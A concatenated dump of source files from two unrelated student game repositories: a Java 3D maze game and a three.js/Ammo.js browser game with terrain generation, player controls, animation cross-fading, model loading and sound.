g.setColor(Color.BLUE); g.fillOval(explorer.getX(),explorer.getY(),20,20); } if(key&&win==false){ h = new Font("Helvetica",Font.PLAIN,30); g.setFont(h); g.setColor(Color.WHITE); g.drawString("Door Unlocked!",50,80); } if(map&&win==false){ h = new Font("Helvetica",Font.PLAIN,30); g.setFont(h); g.setColor(Color.WHITE); g.drawString("Press SPACE for a HUD",625,80); } if(paint&&paintCount>0&&win==false){ h = new Font("Helvetica",Font.PLAIN,30); g.setFont(h); g.setColor(Color.WHITE); g.drawString("Paint has "+paintCount+" sprays left: Press P",50,690); } } public void setBoard() { File name = new File("one.txt"); int r=0; try { ArrayList<String> txtfile=new ArrayList<String>(); int mazeLength=0; BufferedReader input = new BufferedReader(new FileReader(name)); String text; while((text=input.readLine())!= null) { r++; String[] temp=text.split(""); for(int x=0;x<temp.length;x++) txtfile.add(temp[x]); mazeLength=text.length(); System.out.println(text); } int count=0; Wall[][] walls=new Wall[r][mazeLength]; for(int x=0;x<walls.length;x++){ for(int y=0;y<walls[0].length;y++){ if(txtfile.get(count).equals("#")){ Wall w=new Wall(x,y,0,false); walls[x][y]=w; } else if(txtfile.get(count).equals(" ")){ Wall w=new Wall(x,y,1,false); walls[x][y]=w; } else if(txtfile.get(count).equals("e")){ Wall w=new Wall(x,y,2,false); walls[x][y]=w; } else if(txtfile.get(count).equals("E")){ Wall w=new Wall(x,y,3,false); walls[x][y]=w; explorer=new Explorer(20*y+210,20*x+100); eCord=new Location(1,1); } else if(txtfile.get(count).equals("T")){ Wall w=new Wall(x,y,4,false); walls[x][y]=w; } else if(txtfile.get(count).equals("t")){ Wall w=new Wall(x,y,5,false); walls[x][y]=w; } else if(txtfile.get(count).equals("G")){ Wall w=new Wall(x,y,6,false); walls[x][y]=w; } else if(txtfile.get(count).equals("g")){ Wall w=new Wall(x,y,7,false); walls[x][y]=w; } else if(txtfile.get(count).equals("k")){ Wall w=new Wall(x,y,8,false); walls[x][y]=w; } else if(txtfile.get(count).equals("d")){ Wall w=new Wall(x,y,9,false); walls[x][y]=w; } else if(txtfile.get(count).equals("m")){ Wall w=new Wall(x,y,10,false); walls[x][y]=w; } else if(txtfile.get(count).equals("p")){ Wall w=new Wall(x,y,11,false); walls[x][y]=w; } count++; } } System.out.println(txtfile); maze=new Maze(explorer,walls); } catch (IOException io) { System.err.println("File error"); } } public void setWalls() { } public void keyPressed(KeyEvent e) { if(win==false){ System.out.println("Key Code: "+e.getKeyCode()); switch(e.getKeyCode()){ case 65: if(dir-1<0){ dir=3; } else dir--; break; case 68: if(dir+1>3){ dir=0; } else dir++; break; } if(e.getKeyCode()==71){ visible--; visTemp++; } if(e.getKeyCode()==72){ visible++; visTemp++; } if(e.getKeyCode()==80&&paint&&paintCount>0){ if(maze.getWalls()[eCord.getY()][eCord.getX()].getPainted()==false){ paintCount--; maze.getWalls()[eCord.getY()][eCord.getX()].setPainted(true); } } if(e.getKeyCode()==87){ //0 is north //1 is east //2 is south //3 is west if(dir==0&&!(maze.getWalls()[eCord.getY()-1][eCord.getX()].getState()==0)&&eCord.getY()-1>-1&&(maze.getWalls()[eCord.getY()-1][eCord.getX()].getState()!=9)){ explorer.move(0,-20); eCord.subY(); steps++; } if(dir==1&&!(maze.getWalls()[eCord.getY()][eCord.getX()+1].getState()==0)&&eCord.getX()+1<maze.getWalls()[0].length&&(maze.getWalls()[eCord.getY()][eCord.getX()+1].getState()!=9)){ explorer.move(20,0); eCord.addX(); steps++; } if(dir==2&&!(maze.getWalls()[eCord.getY()+1][eCord.getX()].getState()==0)&&eCord.getY()+1<maze.getWalls().length&&(maze.getWalls()[eCord.getY()+1][eCord.getX()].getState()!=9)){ explorer.move(0,20); eCord.addY(); steps++; } if(dir==3&&!(maze.getWalls()[eCord.getY()][eCord.getX()-1].getState()==0)&&eCord.getX()-1>-1&&maze.getWalls()[eCord.getY()][eCord.getX()-1].getState()!=3&&(maze.getWalls()[eCord.getY()][eCord.getX()-1].getState()!=9)){ explorer.move(-20,0); eCord.subX(); steps++; } } System.out.println("Explorer X (Pixel): "+explorer.getX()+"\nExplorer Y (Pixel): "+explorer.getY()+"\nMaze Length: "+maze.getWalls().length+"\nMaze Width: "+maze.getWalls()[0].length); System.out.println("Direction: "+dir); if(e.getKeyCode()==32&&map){ if(toggle){ toggle=false; } else toggle=true; } /* if(e.getKeyCode()==77){ if(toggle){ toggle=false; } else toggle=true; } */ //M FOR MINIMAP DEBUG repaint(); } } public void keyReleased(KeyEvent e) { } public void keyTyped(KeyEvent e) { } public void mouseClicked(MouseEvent e) { } public void mousePressed(MouseEvent e) { } public void mouseReleased(MouseEvent e) { } public void mouseEntered(MouseEvent e) { } public void mouseExited(MouseEvent e) { } public static void main(String args[]) { ShahilPatelMazeProgram app=new ShahilPatelMazeProgram(); } }<file_sep>/README.md # 3D-Maze-Game Repository containing my Java based 3D maze puzzle. Utilizes Java JPanel library and JFrame Graphics. <file_sep>/Location.java public class Location{ private int x=0; private int y=0; public Location(int x,int y){ this.x=x; this.y=y; } public int getX(){ return x; } public void setX(int x){ this.x=x; } public int getY(){ return y; } public void setY(int y){ this.y=y; } public void addX(){ x++; } public void addY(){ y++; } public void subX(){ x--; } public void subY(){ y--; } }
073c29646693b33f3200dc436746d536f070d8b4
[ "Markdown", "Java" ]
4
Java
Shahil-Patel/3D-Maze-Game
be988b457581415f34b0a726ee4b0013bd3b260b
592c34af1f10642375fd8ef88051bb7b15b31f39
refs/heads/master
<file_sep>let gameStarted = false; // let size = document.getElementById("hbar").style.width; // function loseHealth(){ // let str = size.substring(0,size.length-2); // let x = parseInt(str)-1; // str = x + "px"; // document.getElementById("hbar").style.width = str; // console.log("die"); // } function gainHealth(damage){ /* Works somthing like this use the class method for gaining health let pxValue = max player hp/250; //one px's worth of health let x = Math.floor(current health /pxValue); if(x<250){ x = 250; } document.getElementById("hpbar").width = x; */ } function startGame(){ if (!gameStarted){ createTimer(); gameStarted = true; } } //Create timer function createTimer(){ var startTime = Math.floor(Date.now() / 1000); //Get the starting time (right now) in seconds localStorage.setItem("startTime", startTime); // Store it if I want to restart the timer on the next page function startTimeCounter() { var now = Math.floor(Date.now() / 1000); // get the time now var diff = now - startTime; // diff in seconds between now and start var m = Math.floor(diff / 60); // get minutes value (quotient of diff) var s = Math.floor(diff % 60); // get seconds value (remainder of diff) m = checkTime(m); // add a leading zero if it's single digit s = checkTime(s); // add a leading zero if it's single digit document.getElementById("timer").innerHTML = m + ":" + s; // update the element where the timer will appear var t = setTimeout(startTimeCounter, 500); // set a timeout to update the timer } function checkTime(i) { if (i < 10) {i = "0" + i}; // add zero in front of numbers < 10 return i; } startTimeCounter(); }<file_sep>let mute = false; let music = document.getElementById('music'); let flying = document.getElementById('flying'); let walkingSound = document.getElementById('walking'); let runningSound = document.getElementById('running'); let muteButton = document.getElementById('muteButton'); music.volume = 0.1; flying.volume = 0.7; walkingSound.volume = 0.7; walkingSound.playbackRate = 1.4; runningSound.volume = 0.7; runningSound.playbackRate = 1.6; function toggleMute(){ if(mute){ mute = false; music.play(); muteButton.src = "/assets/textures/unmute.png"; } else if(!mute){ mute = true; music.pause(); muteButton.src = "/assets/textures/mute.png"; } } <file_sep> var gridWidth , gridHeight; var displacement var positions export let heightMap = [] export let max, min; var getIndex = (x, y, h) => y*h + x export function generateTerrain(){ gridHeight = 1024 gridWidth = 1024 displacement = new Float32Array(gridWidth*gridHeight); for(let i in displacement) displacement[i] = 0; computeDisplacement() let t1 = new THREE.TextureLoader().load('../assets/textures/testSand.jpg'); let t2 = new THREE.TextureLoader().load('../assets/textures/testGrass.jpg'); let t3 = new THREE.TextureLoader().load('../assets/textures/testRock.jpg'); var material = THREE.Terrain.generateBlendedMaterial([ {texture: t1}, {texture: t2, levels: [100, 115, 130,150]}, {texture: t3, levels: [130, 150, 180, 200]}, ]); let geometry, wireframegeometry; geometry = new THREE.PlaneBufferGeometry(gridWidth, gridHeight, gridWidth-1, gridHeight-1); positions = geometry.attributes.position.array; console.log(geometry.faces) let i1 = 0 for(let i = 2; i<positions.length; i+=3) { positions[i] -= displacement[i1]; heightMap[i1] = Math.abs(positions[i] ) positions[i] = Math.abs(positions[i] ) i1++; } geometry.computeFaceNormals(); let mesh = new THREE.Mesh( geometry, material); mesh.rotation.x = -90*3.14/180.0; return mesh } function computeDisplacement() { let maxScale = 10; for (let scale = 2; scale <= maxScale; scale++){ // create image data let origImage = new Float32Array(scale**3 *scale+1); // populate it w random noise for(let i in origImage) origImage[i] = (Math.random()*1000)/Math.pow(scale, 2.5); // create resized image let resizedImage = new Float32Array(gridWidth*gridHeight); for (let i = 0; i<gridWidth*gridHeight; i++) resizedImage[i] = 0; // upsample via bilinear interpolation for (let x = 0; x<gridWidth; x++) for(let y = 0; y<gridHeight; y++) { //interpolate along the x direction let realX = x / gridWidth * (scale**2); let realY = y / gridHeight * (scale**2); let x_left = Math.floor(realX); let y_up = Math.floor(realY); let x_right = Math.ceil(realX); let y_down = Math.ceil(realY); let right_influence = Math.abs(realX - x_left); let left_influence = Math.abs(realX - x_right)==0 ? 1 : Math.abs(realX - x_right);; let up_influence = Math.abs(realY - y_up); let down_influence = Math.abs(realY - y_down)==0 ? 1 : Math.abs(realY - y_down);; let inputIndexLeft = getIndex(x_left, y_up, scale**2); let inputIndexRight = getIndex(x_right, y_up, scale**2); let origValueLeft = origImage[inputIndexLeft]; let origValueRight = origImage[inputIndexRight]; let lrInterpUp = left_influence*origValueLeft + right_influence*origValueRight; inputIndexLeft = getIndex(x_left, y_down, scale**2); inputIndexRight = getIndex(x_right, y_down, scale**2); origValueLeft = origImage[inputIndexLeft]; if(!origValueLeft) { inputIndexLeft = getIndex(x_left, y_up, scale**2); inputIndexRight = getIndex(x_right, y_up, scale**2); origValueLeft = origImage[inputIndexLeft]; } origValueRight = origImage[inputIndexRight]; if(!origValueRight) { inputIndexLeft = getIndex(x_left, y_up, scale**2); inputIndexRight = getIndex(x_right, y_up, scale**2); origValueRight = origImage[inputIndexRight]; } let lrInterpDown = left_influence*origValueLeft + right_influence*origValueRight; let lrInterpBoth = down_influence*lrInterpUp + up_influence*lrInterpDown; let outIndex = getIndex(x, y, gridHeight); resizedImage[outIndex] = lrInterpBoth; displacement[outIndex] += resizedImage[outIndex]; } } let accum = -40; for(let i in displacement) accum += displacement[i]; let mean = accum / displacement.length; for(let i in displacement) if(displacement[i] > mean) displacement[i] = mean; } <file_sep> import { player, isMouseDown, terrain, mixers } from '../index2.js' import { playerLanded, getSoundAndFadeAudio } from './physics.js'; const container = document.body; const menu = document.querySelector('#menu'); const known = document.querySelector('#known'); const blocker = document.querySelector('#blocker') const optionsMenu = document.querySelector('#optionsMenu'); const play = document.querySelector('#play') const death = document.querySelector('#death') const list = document.querySelector('#list') const kback = document.querySelector('#knownBack') const oback = document.querySelector('#optionsBack') const music = document.querySelector('#music'); const options = document.querySelector('#options'); let controls; let moveForward = false let moveLeft = false let moveBackward = false let moveRight = false let rotateLeft = false let rotateRight = false let sprint = false let crouch = false let jump = false let punch = false let oldX = 0 let raycaster = new THREE.Raycaster() let down = new THREE.Vector3(-1,-1,-1) let prevTime = performance.now(); let velocity = new THREE.Vector3() let direction = new THREE.Vector3() let listener = new THREE.AudioListener(); let sound = new THREE.Audio( listener ); let walkingSound = document.getElementById('walking'); let runningSound = document.getElementById('running'); export let danceAction, deathAction, idleAction, jumpAction, noAction, punchAction, runAction, sitAction, standAction, thumbsUpAction, walkAction, backwardAction, walkJumpAction, waveAction, yesAction, currentAction, playerMixer, actions let count = 0 let physicsBody export function createControls(camera){ controls = new THREE.PointerLockControls( camera, container ) play.addEventListener( 'click', () => { controls.lock(); }, false ); controls.addEventListener( 'lock', () => { blocker.style.display = 'none'; menu.style.display = 'none'; play.style.display = 'none'; console.log(controls.isLocked) } ); kback.addEventListener('click',() =>{ menu.style.display= 'block'; known.style.display = 'none'; }) oback.addEventListener('click',() =>{ menu.style.display= 'block'; optionsMenu.style.display = 'none'; }) options.addEventListener('click',() =>{ menu.style.display= 'none'; optionsMenu.style.display = 'block'; }) list.addEventListener('click',() =>{ menu.style.display= 'none'; known.style.display = 'block'; }) controls.addEventListener( 'unlock', () => { blocker.style.display = 'block'; menu.style.display = ''; play.style.display = ''; } ); return controls; } export const onKeyDown = ( event ) => { if (currentAction === deathAction){ return false; } else{ switch( event.keyCode ) { case 90: //z died(); break; case 87: //w moveForward = true break case 65: //a moveLeft = true break case 83: //s moveBackward = true break case 68: //d moveRight = true break case 16: //shift if (playerLanded){ sprint = true } break case 17: //control crouch = true break case 32: //space if (jump == false && jumpAction.getEffectiveWeight() == 0 && walkJumpAction.getEffectiveWeight() == 0){ jump = true; if (moveForward){ prepareCrossFade(currentAction, walkJumpAction, 1); prepareCrossFade(currentAction, currentAction, 2); } else{ prepareCrossFade(currentAction, jumpAction, 1); prepareCrossFade(currentAction, currentAction, 0.6); } } break case 86: //v if (punch == false){ punch = true; prepareCrossFade(currentAction, punchAction, 0.6); prepareCrossFade(currentAction, currentAction, 0.6); } break } } }; export const onMouseMove = (event) => { if(controls.isLocked && isMouseDown){ const { movementX, movementY } = event; let val = movementX if (val < 0){ rotateRight = false rotateLeft = true } else if (val > 0){ rotateLeft = false rotateRight = true } else if (val == oldX){ rotateLeft = false rotateRight = false } oldX = val } else{ rotateLeft = false rotateRight = false } } export const onKeyUp = ( event ) => { if (currentAction === deathAction){ return false; } else{ switch( event.keyCode ) { case 87: //w moveForward = false if(currentAction === walkAction){ prepareCrossFade(currentAction, idleAction, 0.6); currentAction = idleAction; } break case 65: //a moveLeft = false break case 83: //s moveBackward = false if(currentAction === backwardAction){ prepareCrossFade(backwardAction, idleAction, 0.6); currentAction = idleAction; } break case 68: //d moveRight = false break case 16: //shift sprint = false if (moveForward){ prepareCrossFade(currentAction, walkAction, 1.0); currentAction = walkAction; } break case 17: //control crouch = false break case 32: //space jump = false break case 86: //v punch = false break } } } export function updateControls() { if( controls.isLocked ) { physicsBody = player.userData.physicsBody; let time = performance.now(); let delta = ( time - prevTime ) / 1000; let rotateAngle = Math.PI / 2 * delta //If both sprint and crouch are pressed, crouch will not be activated if (sprint && crouch){ crouch = false; } let moveX = Number( moveRight ) - Number( moveLeft ); let moveZ = Number( moveForward ) - Number( moveBackward ); //Moving forward if (moveZ == 1){ if (sprint){ moveZ = moveZ*2 if(currentAction != runAction){ prepareCrossFade(currentAction, runAction, 1.0); currentAction = runAction; } } else if(currentAction != walkAction && currentAction != runAction){ prepareCrossFade(currentAction, walkAction, 0.6); currentAction = walkAction; } } //Moving backward else if (moveZ == -1){ //Sets the walking animation to play backwards backwardAction.timeScale = -1; if(currentAction != backwardAction){ prepareCrossFade(currentAction, backwardAction, 0.6); currentAction = backwardAction; } } if (!playerLanded){ moveZ = moveZ * 3 } //Play correct sound if (playerLanded){ if(currentAction === walkAction || currentAction === backwardAction){ walkingSound.play(); runningSound.pause(); } else if(currentAction === runAction){ walkingSound.pause(); runningSound.play(); } else{ walkingSound.pause(); runningSound.pause(); } } //Sprint, only forward /*if (sprint && moveZ == 1){ moveZ = moveZ*2 if(currentAction != runAction){ prepareCrossFade(currentAction, runAction, 1.0); currentAction = runAction; } }*/ let moveY = 0; let vertex = new THREE.Vector3(moveX,moveY,moveZ); vertex.applyQuaternion(player.quaternion); let factor = 100 if(sprint) factor = factor * 2 let resultantImpulse = new Ammo.btVector3( -vertex.x, 0, vertex.z ); resultantImpulse.op_mul(factor); physicsBody.setLinearVelocity ( resultantImpulse ); if ( rotateLeft ) physicsBody.applyTorqueImpulse(new Ammo.btVector3(0,1,0), rotateAngle); if ( rotateRight ) physicsBody.applyTorqueImpulse(new Ammo.btVector3(0,1,0), -rotateAngle); physicsBody.clearForces if (crouch){ var relativeCameraOffset = new THREE.Vector3(0,4,-10); } else{ var relativeCameraOffset = new THREE.Vector3(0,5,-10); } var cameraOffset = relativeCameraOffset.applyMatrix4(player.matrixWorld ) controls.getObject().position.x = cameraOffset.x controls.getObject().position.y = cameraOffset.y controls.getObject().position.z = cameraOffset.z controls.getObject().lookAt(player.position) prevTime = time } else if(player !== undefined){ physicsBody = player.userData.physicsBody; physicsBody.setLinearVelocity ( new Ammo.btVector3( 0, 0, 0 ) ); } } export function died(){ if(currentAction != deathAction){ executeCrossFade(currentAction, deathAction, 3.0); currentAction = deathAction; death.style.opacity = '1'; let music = document.getElementById('music'); music.pause(); var audioLoader = new THREE.AudioLoader(); audioLoader.load( '../../assets/audio/scream.mp3', function( buffer ) { sound.setBuffer( buffer ); sound.setLoop( false ); sound.setVolume( 0.8 ); sound.play(); }); } } export function activateAllActions(){ let i for (i = 0; i < actions.length; i++) { setWeight(actions[i], 0.0); } setWeight(idleAction, 1.0); actions.forEach( function ( action ) { action.play(); } ); } function prepareCrossFade( startAction, endAction, defaultDuration ){ var duration = defaultDuration; if (startAction === idleAction){ executeCrossFade(startAction, endAction, duration) } else{ synchronizeCrossFade(startAction, endAction, duration); } } function synchronizeCrossFade(startAction, endAction, duration){ playerMixer.addEventListener('loop', onLoopFinished); function onLoopFinished(event){ if (event.action === startAction){ playerMixer.removeEventListener('loop', onLoopFinished); executeCrossFade(startAction, endAction, duration); } } } function executeCrossFade(startAction, endAction, duration){ setWeight(endAction, 1); endAction.time = 0; startAction.crossFadeTo(endAction, duration, true); } function setWeight(action, weight){ action.enabled = true; action.setEffectiveTimeScale(1); action.setEffectiveWeight(weight); } //Timeout needed because character mixer hasnt been created yet setTimeout(function(){ playerMixer = mixers.find(mixer => mixer.getRoot().name == 'player') danceAction = playerMixer.clipAction(player.animations[0]) deathAction = playerMixer.clipAction(player.animations[1]) idleAction = playerMixer.clipAction(player.animations[2]) jumpAction = playerMixer.clipAction(player.animations[3]) noAction = playerMixer.clipAction(player.animations[4]) punchAction = playerMixer.clipAction(player.animations[5]) runAction = playerMixer.clipAction(player.animations[6]) sitAction = playerMixer.clipAction(player.animations[7]) standAction = playerMixer.clipAction(player.animations[8]) thumbsUpAction = playerMixer.clipAction(player.animations[9]) walkAction = playerMixer.clipAction(player.animations[10]) backwardAction = playerMixer.clipAction(player.animations[10]) walkJumpAction = playerMixer.clipAction(player.animations[11]) waveAction = playerMixer.clipAction(player.animations[12]) yesAction = playerMixer.clipAction(player.animations[13]) currentAction = idleAction; actions = [danceAction, deathAction, idleAction, jumpAction, noAction, punchAction, runAction, sitAction, standAction, thumbsUpAction, walkAction, backwardAction, walkJumpAction, waveAction, yesAction] //Sets ceratin actions to only play once jumpAction.setLoop(THREE.LoopOnce); walkJumpAction.setLoop(THREE.LoopOnce); punchAction.setLoop(THREE.LoopOnce); deathAction.clampWhenFinished = true; deathAction.setLoop(THREE.LoopOnce); sitAction.clampWhenFinished = true; sitAction.setLoop(THREE.LoopOnce); setWeight(sitAction, 1.0); sitAction.play(); //activateAllActions(); }, 7000);<file_sep>function playClick(){ let blocker = document.getElementById('blocker'); blocker.remove; } function listClick(){ } function optionsClick(){ }<file_sep>import { createCamera } from './util/camera.js'; import { generateTerrain } from './util/terrain.js' import * as controlsHelper from './util/controls.js' import { modelLoader } from './util/modelLoader.js' import { initPhysics, updatePhysics, physicsWorld } from './util/physics.js'; export let scene; export let isMouseDown; export let player; export let terrain; let camera; let container; let controls; let renderer; export let dynamicObjects = [] export let loadingManager; export const mixers = [] const clock = new THREE.Clock(); const blocker = document.querySelector('#blocker') const menu = document.getElementById( 'menu') function main() { loadingManager = new THREE.LoadingManager( () => { const loadingScreen = document.getElementById( 'loading-screen' ); loadingScreen.classList.add( 'fade-out' ); // optional: remove loader from DOM via event listener loadingScreen.addEventListener( 'transitionend', onTransitionEnd ); } ); //sets container to the div within the HTML file container = document.body; scene = new THREE.Scene(); // Create shortcuts for window size. var width = window.innerWidth; var height = window.innerHeight; loadModels(); createRenderer(); camera = createCamera(); // Create the camera and set the viewport to match the screen dimensions. var cameraHUD = new THREE.OrthographicCamera(-width/2, width/2, height/2, -height/2, 0.1, 100000 ); cameraHUD.position.z = 10; controls = controlsHelper.createControls(camera, renderer); scene.add(controls.getObject()) terrain = generateTerrain() scene.add(terrain) createLights(); createFloor(); createSkyBox(); initPhysics() var axesHelper = new THREE.AxesHelper( 1 ); scene.add( axesHelper ); var dir = new THREE.Vector3( 0, -2, 0 ); //normalize the direction vector (convert to vector of length 1) dir.normalize(); var origin = new THREE.Vector3( -200, 0, 900 ); var length = 1; var hex = 0xffff00; var arrowHelper = new THREE.ArrowHelper( dir, origin, length, hex ); scene.add( arrowHelper ); window.addEventListener( 'resize', onWindowResize ); document.addEventListener( 'keydown', controlsHelper.onKeyDown, false ); document.addEventListener( 'keyup', controlsHelper.onKeyUp, false ); document.addEventListener("mousemove", controlsHelper.onMouseMove); document.addEventListener("mousedown", () => isMouseDown = true); document.addEventListener("mouseup", () => isMouseDown = false); } function loadModels(){ modelLoader('../assets/models/Robot.glb', new THREE.Vector3(0, 150, 0), 'player', 1,0) modelLoader('../assets/models/Trex.glb', new THREE.Vector3(50, 200, 100), 'trex', 1,0) modelLoader('../assets/models/alien.glb', new THREE.Vector3(25, 200, 100), 'player', 1,0) modelLoader('../assets/models/slime.glb', new THREE.Vector3(10, 200, 100), 'slime', 1,0) modelLoader('../assets/models/Rat.glb', new THREE.Vector3(30, 200, 100), 'rat',1,0) } function createLights() { const color = 0xFFFFFF; const intensity = 0.5; const light = new THREE.AmbientLight(color, intensity); scene.add(light); // const ambientLight = new THREE.HemisphereLight( 0xddeeff, 0x0f0e0d, 5 ); const mainLight = new THREE.DirectionalLight( 0xffffff, 0.5 ); mainLight.position.set( 10, 20, 20 ); const hemiLight = new THREE.HemisphereLight(0xddeeff, 0x0f0e0d, 0.5) hemiLight.position.set(10,10,-10) scene.add( mainLight,hemiLight ); } function createFloor(){ // creates a basic floor for testing purposes let flowMap = new THREE.TextureLoader().load('assets/textures/water/Water_1_M_Flow.jpg') let waterGeometry = new THREE.PlaneBufferGeometry( 4096, 4096); let water = new THREE.Water( waterGeometry, { scale: 2, textureWidth: 4096, textureHeight: 4096, flowMap: flowMap } ); water.position.y = 15; water.rotation.x = Math.PI * - 0.5; var helperGeometry = new THREE.PlaneBufferGeometry( 20, 20 ); var helperMaterial = new THREE.MeshBasicMaterial( { map: flowMap } ); var helper = new THREE.Mesh( helperGeometry, helperMaterial ); helper.position.y = 15.01; helper.rotation.x = Math.PI * - 0.5; helper.visible = false; scene.add(water,helper); } function createSkyBox(){ //creates a skybox around play area let skyBoxGeometry = new THREE.CubeGeometry(10000, 10000, 10000); let skyBoxMats = [ new THREE.MeshBasicMaterial({ map: new THREE.TextureLoader().load( '../assets/textures/skybox/front.JPG' ), side: THREE.DoubleSide}), new THREE.MeshBasicMaterial({ map: new THREE.TextureLoader().load( '../assets/textures/skybox/back.JPG' ), side: THREE.DoubleSide}), new THREE.MeshBasicMaterial({ map: new THREE.TextureLoader().load( '../assets/textures/skybox/up.JPG' ), side: THREE.DoubleSide}), new THREE.MeshBasicMaterial({ map: new THREE.TextureLoader().load( '../assets/textures/skybox/down.JPG' ), side: THREE.DoubleSide}), new THREE.MeshBasicMaterial({ map: new THREE.TextureLoader().load( '../assets/textures/skybox/right.JPG' ), side: THREE.DoubleSide}), new THREE.MeshBasicMaterial({ map: new THREE.TextureLoader().load( '../assets/textures/skybox/left.JPG' ), side: THREE.DoubleSide}) ]; let skyBox = new THREE.Mesh(skyBoxGeometry, skyBoxMats) let ambient = new THREE.AmbientLight(0xFFFFFF, 0.3) scene.add(skyBox, ambient); } function createRenderer() { // create a WebGLRenderer and set its width and height renderer = new THREE.WebGLRenderer( { antialias: true } ); renderer.setSize( window.innerWidth, window.innerHeight ); renderer.setPixelRatio( window.devicePixelRatio ); renderer.gammaFactor = 2.2; renderer.physicallyCorrectLights = true; document.body.appendChild( renderer.domElement ); } function update() { const delta = clock.getDelta(); for ( const mixer of mixers ) { mixer.update( delta ); } } function animate() { requestAnimationFrame(animate) update() player = scene.getObjectByName("player") controlsHelper.updateControls() updatePhysics(clock.getDelta()) renderer.render( scene, camera ); } function onWindowResize() { //this function resets the camera size based on changing window size camera.aspect = window.innerWidth / window.innerHeight; // update the camera's frustum camera.updateProjectionMatrix(); renderer.setSize( window.innerWidth , window.innerHeight ); //console.log(player) } function onTransitionEnd( event ) { event.target.remove(); } Ammo().then((AmmoLib) => { Ammo = AmmoLib main() animate() }) <file_sep>import { player } from '../index2.js' import * as control from 'controls.js' class Player{ constructor(model){ this.currentHealth = 10; this.maxHealth = 10; this.model = model.userData.gunDamage; this.gun = { damage = 2, capacity = 10, reloadSpeed = 1, rateOfFire = 1, automatic = true }; } getHealth(){ return this.currentHealth; } changeMaxHealth(x){ this.maxHealth += x; this.currentHealth = this.maxHealth; } takeDamage(x){ this.currentHealth -= x; return this.currentHealth; } Heal(x){ this.currentHealth += x; if(this.currentHealth >this.maxHealth){ this.currentHealth = this.maxHealth; } } getDamage(){ return this.gun.damage; } changeGun(x){ this.gun = x } activateAllActions(){ let i for (i = 0; i < actions.length; i++) { setWeight(actions[i], 0.0); } setWeight(idleAction, 1.0); //Sets ceratin actions to only play once jumpAction.setLoop(THREE.LoopOnce); walkJumpAction.setLoop(THREE.LoopOnce); punchAction.setLoop(THREE.LoopOnce); deathAction.clampWhenFinished = true; deathAction.setLoop(THREE.LoopOnce); actions.forEach( function ( action ) { action.play(); } ); } prepareCrossFade( startAction, endAction, defaultDuration ){ var duration = defaultDuration; if (startAction === idleAction){ executeCrossFade(startAction, endAction, duration) } else{ synchronizeCrossFade(startAction, endAction, duration); } } synchronizeCrossFade(startAction, endAction, duration){ playerMixer.addEventListener('loop', onLoopFinished); function onLoopFinished(event){ if (event.action === startAction){ playerMixer.removeEventListener('loop', onLoopFinished); executeCrossFade(startAction, endAction, duration); } } } executeCrossFade(startAction, endAction, duration){ setWeight(endAction, 1); endAction.time = 0; startAction.crossFadeTo(endAction, duration, true); } setWeight(action, weight){ action.enabled = true; action.setEffectiveTimeScale(1); action.setEffectiveWeight(weight); } } <file_sep>import { scene, dynamicObjects, loadingManager, mixers} from '../index2.js' import { physicsWorld } from './physics.js' export let playerExsists; // export function modelLoader( path, pos, name ){ // const loader = new THREE.GLTFLoader(loadingManager); // loader.load(path, // (model) => onLoad(model, pos, name), // () => progress(), // (error) => console.log(error)) // } export function modelLoader( path, pos, name ,mass,type){ const loader = new THREE.GLTFLoader(loadingManager); loader.load(path, (model) => onLoad(model, pos, name,mass,type), () => progress(), (error) => console.log(error)) } function onLoad( model, pos, name,mass,type){ const character = model.scene //character.scale.set(0.005, 0.005, 0.005) character.position.copy(pos) character.name = name let vect3 = new THREE.Vector3(); let box = new THREE.Box3().setFromObject(model.scene).getSize(vect3); console.log(box) let transform = new Ammo.btTransform(); transform.setIdentity(); transform.setOrigin( new Ammo.btVector3( pos.x, pos.y, pos.z ) ); transform.setRotation( new Ammo.btQuaternion( 0, 0, 0, 1 ) ); let motionState = new Ammo.btDefaultMotionState( transform ); let colShape = new Ammo.btBoxShape(new Ammo.btVector3(box.x/2.5, box.y/1.5, box.z/2.5)); colShape.setMargin( 0.05 ); let localInertia = new Ammo.btVector3( 0, 0, 0 ); colShape.calculateLocalInertia( 1, localInertia ); let rbInfo = new Ammo.btRigidBodyConstructionInfo( mass, motionState, colShape, localInertia ); let objBody = new Ammo.btRigidBody( rbInfo ); //objBody.translate(Ammo.btVector3(0,0,0)) character.userData.physicsBody = objBody character.userData.physicsBody.set; objBody.setFriction(10); objBody.setRollingFriction(10); objBody.setActivationState(4) physicsWorld.addRigidBody( objBody , 1, 3); scene.add(character) dynamicObjects.push(character) let mixer = new THREE.AnimationMixer( character ); mixers.push(mixer); character.animations = model.animations character.mixer = mixer if(!character.name == "player"){ character.mixer.clipAction(character.animations[0]).play(); } playerExsists = true; } // function onLoad( model, pos, name ){ // const character = model.scene // character.position.copy(pos) // character.name = name // let vect3 = new THREE.Vector3(); // let box = new THREE.Box3().setFromObject(model.scene).getSize(vect3); // console.log(box) // let transform = new Ammo.btTransform(); // transform.setIdentity(); // transform.setOrigin( new Ammo.btVector3( pos.x, pos.y, pos.z ) ); // transform.setRotation( new Ammo.btQuaternion( 0, 0, 0, 1 ) ); // let motionState = new Ammo.btDefaultMotionState( transform ); // let colShape = new Ammo.btBoxShape(new Ammo.btVector3(box.x/2.5, box.y/1.5, box.z/2.5)); // colShape.setMargin( 0.05 ); // let localInertia = new Ammo.btVector3( 0, 0, 0 ); // colShape.calculateLocalInertia( 1, localInertia ); // let rbInfo = new Ammo.btRigidBodyConstructionInfo( 1, motionState, colShape, localInertia ); // let objBody = new Ammo.btRigidBody( rbInfo ); // character.userData.physicsBody = objBody // character.userData.physicsBody.set; // objBody.setFriction(10); // objBody.setRollingFriction(10); // physicsWorld.addRigidBody( objBody ); // scene.add(character) // dynamicObjects.push(character) // let mixer = new THREE.AnimationMixer( character ); // mixers.push(mixer); // character.animations = model.animations // character.mixer = mixer // if(!character.name == "player"){ // character.mixer.clipAction(character.animations[0]).play(); // } // else // playerExsists = true; // } function progress(){ }<file_sep>let container = document.body; let camera export function createCamera() { //creates initial camera camera = new THREE.PerspectiveCamera( 75, window.innerWidth / window.innerHeight, 0.1, 10000 ); camera.position.set( 0, 155, 10 ); camera.setViewOffset(window.innerWidth, window.innerHeight, 200, 0, window.innerWidth, window.innerHeight); camera.updateProjectionMatrix(); return camera; }<file_sep>class Enemy{ constructor(health,damage){ this.health = health; this.damage = damage; } getHealth(){ return this.health; } takeDamage(x){ this.health -= x; return this.health; } }
5fce7beaaaa99fa63ad3be0c8204a92af3db695b
[ "JavaScript" ]
10
JavaScript
BirbStorm/CS4900-Game-Design
970ca11dbce78ff9d444158fc434aca86a7e5f06
